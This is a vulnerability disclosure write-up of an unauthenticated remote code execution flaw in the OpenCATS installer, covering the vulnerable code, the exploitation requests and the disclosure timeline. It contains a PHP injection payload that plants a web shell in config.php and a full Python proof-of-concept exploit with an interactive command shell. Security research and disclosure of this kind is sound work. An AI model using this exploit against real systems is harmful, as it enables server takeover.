Unauthenticated RCE in OpenCATS via Installer Config Injection
Table of Contents
TL;DR
The OpenCATS installer AJAX endpoint writes user-supplied input directly into config.php without sanitization. An attacker can inject arbitrary PHP code by breaking out of a define() statement, achieving unauthenticated RCE on any instance where the installation wizard was not completed.
| Field | Value |
|---|---|
| Severity | Critical (CVSS 9.2) |
| CWE | CWE-94 - Code Injection |
| Affected | All versions (tested on latest commit 46e4727) |
| Prerequisite | INSTALL_BLOCK file absent (incomplete installation) |
Background
OpenCATS is an open-source Applicant Tracking System. It’s the upstream project behind CATSone, a commercial recruiting platform still actively sold at $89/user/month. The open-source version is actively maintained with recent commits as of February 2026.
OpenCATS has had its share of CVEs before - XXE in DocumentToText (CVE-2019-13358), unsafe deserialization in DataGrid (CVE-2021-25294, CVE-2022-43019). This one targets the installer.
The Vulnerability
The Sink
When OpenCATS processes database configuration during installation, it calls CATSUtility::changeConfigSetting() to update config.php:
public static function changeConfigSetting($name, $value)
{
$config = @file('config.php');
$newconfig = array();
foreach ($config as $index => $line)
{
if (strpos($line, 'define(\'' . $name . '\'') === 0)
$newconfig[] = sprintf("define('%s', %s);", $name, $value);
else
$newconfig[] = rtrim($line);
}
$result = @file_put_contents('config.php', implode("\n", $newconfig) . "\n");
}
The $value parameter is interpolated directly into a define() statement with zero sanitization.
The Source
The installer AJAX endpoint at modules/install/ajax/ui.php passes raw $_REQUEST data straight to this sink:
case 'databaseConnectivity':
if (isset($_REQUEST['user']) && !empty($_REQUEST['user']))
{
CATSUtility::changeConfigSetting('DATABASE_USER', "'" . $_REQUEST['user'] . "'");
}
// Same for 'pass', 'host', 'name'
No escaping. No validation. The user parameter is wrapped in single quotes and handed to changeConfigSetting(), which writes it into config.php.
The Gate
This endpoint is protected by a single check at line 55:
if (file_exists('INSTALL_BLOCK'))
{
// die
}
The INSTALL_BLOCK file is only created when the installation wizard completes successfully (line 1007). It’s excluded from release archives (.gitignore, ci/package-code.sh). Any instance where the wizard was never finalized is wide open.
Exploitation
Step 1: Check if the installer is accessible
GET /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1
If the response contains setActiveStep, the installer is active. If it contains installLocked, INSTALL_BLOCK is present and the endpoint is gated.
Step 2: Inject PHP into config.php
POST /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user=cats');system($_GET['cmd']);//
This transforms config.php line 40 from:
define('DATABASE_USER', 'cats');
To:
define('DATABASE_USER', 'cats');system($_GET['cmd']);//');
Step 3: Execute commands
GET /index.php?cmd=id HTTP/1.1
uid=82(www-data) gid=82(www-data) groups=82(www-data)
Every page load now executes the injected code since config.php is included globally.
PoC
#!/usr/bin/env python3
"""OpenCATS - Unauthenticated RCE via Installer Config Injection"""
import argparse
import sys
import requests
INJECT_ENDPOINT = "/ajax.php"
INJECT_PARAMS = {"f": "install:ui", "a": "databaseConnectivity"}
def check(target, session):
resp = session.get(f"{target}{INJECT_ENDPOINT}", params=INJECT_PARAMS)
if resp.status_code != 200:
return False
if "installLocked" in resp.text:
return False
return "setActiveStep" in resp.text
def inject(target, session):
payload = "cats');system($_GET['cmd']);//"
return session.post(
f"{target}{INJECT_ENDPOINT}",
params=INJECT_PARAMS,
data={"user": payload},
).status_code == 200
def execute(target, cmd, session):
resp = session.get(f"{target}/index.php", params={"cmd": cmd})
return resp.text.split("<!DOCTYPE", 1)[0].strip()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("target", help="http://host:port")
parser.add_argument("-c", "--cmd", help="Command to execute")
parser.add_argument("--check", action="store_true")
args = parser.parse_args()
target = args.target.rstrip("/")
session = requests.Session()
if not check(target, session):
print("[-] Not vulnerable")
sys.exit(1)
print("[+] Installer accessible")
if args.check:
sys.exit(0)
if not inject(target, session):
print("[-] Injection failed")
sys.exit(1)
result = execute(target, "id", session)
if not result:
print("[-] RCE failed (config.php not writable?)")
sys.exit(1)
print(f"[+] RCE: {result}")
if args.cmd:
print(execute(target, args.cmd, session))
else:
while True:
try:
cmd = input("$ ")
except (EOFError, KeyboardInterrupt):
break
if cmd.strip() == "exit":
break
output = execute(target, cmd, session)
if output:
print(output)
if __name__ == "__main__":
main()
Real-World Impact
Let’s be honest: this is unlikely to be exploitable in the wild. The vulnerability requires INSTALL_BLOCK to be absent, which means the installation wizard was never completed. I checked and found no instances with an exposed installer wizard on the internet.
That said, the pattern is a textbook case of CWE-94 and mirrors CVE-2009-1151 in phpMyAdmin, where the setup script similarly allowed code injection into config.inc.php. Same class of bug, 17 years later.
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-02-27 | Vulnerability discovered |
| 2026-02-27 | CVE requested via VulnCheck |
| 2026-02-27 | Maintainer notified |
| 2026-04-28 | Maintainer confirmed go-ahead for publication |
| 2026-04-28 | CVE-2026-27760 assigned - public disclosure |